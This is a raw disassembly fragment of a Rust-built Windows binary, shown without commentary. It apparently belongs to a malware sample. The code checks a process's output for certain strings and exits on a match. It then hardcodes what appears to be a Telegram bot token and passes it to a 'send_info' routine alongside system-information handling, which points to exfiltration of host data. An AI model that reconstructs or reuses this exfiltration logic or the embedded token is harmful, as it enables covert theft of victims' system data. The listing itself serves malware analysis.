mov ecx, edi
push dword [esp + 0x78]
call dbg.from_utf8_lossy
pop eax
mov esi, dword [edi + 4]
mov edi, dword [edi + 8]
mov ecx, esi
mov edx, edi
push 6
push 0x10174059
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009f2e
mov ecx, esi
mov edx, edi
push 0xa
push 0x1017405f
call sym.core::str::__LT_impl_u20_str_GT_::contains::h804bf89fe6d84cd0
pop ecx
pop edx
test al, al
jne 0x10009f2e
mov ecx, dword [esp + 0xd0]
mov edx, esi
call sym.__ZN4core3ptr102drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_alloc..string..FromUtf16Error_GT__GT_17h131df
lea ecx, [esp + 0x70]
call sym.core::ptr::drop_in_place_LT_std..process..Output_GT_::h9eebe668578bc734
push 0x2e
pop esi
xor edx, edx
mov ecx, esi
inc edx
call sym.alloc::alloc::exchange_malloc::h142decb00e75c662
mov dword [eax], 0x34313037
mov dword [eax + 4], 0x35333630
mov dword [eax + 8], 0x413a3830
mov dword [eax + 0xc], 0x50754741
mov dword [eax + 0x10], 0x554c4d7a
mov dword [eax + 0x14], 0x31665f74
mov dword [eax + 0x18], 0x5f743469
mov dword [eax + 0x1c], 0x3943646d
mov dword [eax + 0x20], 0x3635766d
mov dword [eax + 0x24], 0x4b724563
mov dword [eax + 0x28], 0x545f4f30
mov edi, eax
mov word [eax + 0x2c], 0x6351
lea ebx, [esp + 0x1e0]
mov edx, 0x10174069
mov ecx, ebx
push 0xe
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
mov ecx, edi
mov edx, esi
push ebx
call sym.super::send_info::h1d9948d27d6171e8
pop eax
mov ecx, esi
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x1000992d
xor ecx, ecx
xor ebx, ebx
mov dword [esp + 4], 0
mov edi, eax
mov bh, cl
jmp 0x100098fb
jmp 0x10009ea6
mov ecx, 0x101cf3b4
call dbg.unwrap_failed
xor ecx, ecx
xor edx, edx
push 0x10173ffc
call dbg.panic_bounds_check
mov ecx, edi
mov edx, ebx
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
lea ecx, [esp + 0xd0]
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::hf9931af71aa4861f
call dbg.exit
jmp 0x10009eda
mov ecx, 0x101cf3c4
call dbg.unwrap_failed
mov eax, 0x1017473c
xor edi, edi
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 8]
push eax
push dword [esp + 0x10]
push edi
call dbg.slice_error_fail
add esp, 0xc
jmp 0x10009ff9
xor ecx, ecx
inc ecx
push 0xa
jmp 0x10009f12
xor ecx, ecx
inc ecx
push 0x33
pop edx
call dbg.handle_alloc_error
mov ecx, esi
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1d621a182bf039a7
mov ecx, dword [esp + 0x8c]
mov edx, dword [esp + 0x3c]
jmp 0x10009ec2
mov ecx, dword [esp + 0xd0]
mov edx, esi
call sym.__ZN4core3ptr102drop_in_place_LT_core..result..Result_LT_alloc..string..String_C_alloc..string..FromUtf16Error_GT__GT_17h131df
lea ecx, [esp + 0x70]
call sym.core::ptr::drop_in_place_LT_std..process..Output_GT_::h9eebe668578bc734
call dbg.exit
mov ecx, dword [esp + 0x38]
mov eax, 0x1017474c
mov dword [esp + 0xc], ecx
jmp 0x10009eeb
call sym.alloc::raw_vec::capacity_overflow::h5648a8ceafa88914
xor ecx, ecx
mov edx, esi
inc ecx
call dbg.handle_alloc_error
mov ecx, dword [esp + 4]
movzx eax, bh
mov dword [esp + 0x18], edi
shl eax, 8
shl ecx, 0x10
or eax, ecx
movzx ecx, bl
or ecx, eax
mov dword [esp + 0x14], ecx
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x101cd89c
push 0x101cc324
lea eax, [esp + 0x1c]
push eax
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
add esp, 0xc
jmp 0x10009ff9
movq xmm0, qword [esp + 0x58]
movq qword [esp + 0x14], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x101cd87c
push 0x101cc324
mov ebx, esi
push esi
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
add esp, 0xc
jmp 0x10009ff9
movq xmm0, qword [esp + 0x58]
movq qword [esp + 0x14], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x101cd88c
push 0x101cc324
mov edi, esi
push esi
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
add esp, 0xc
ud2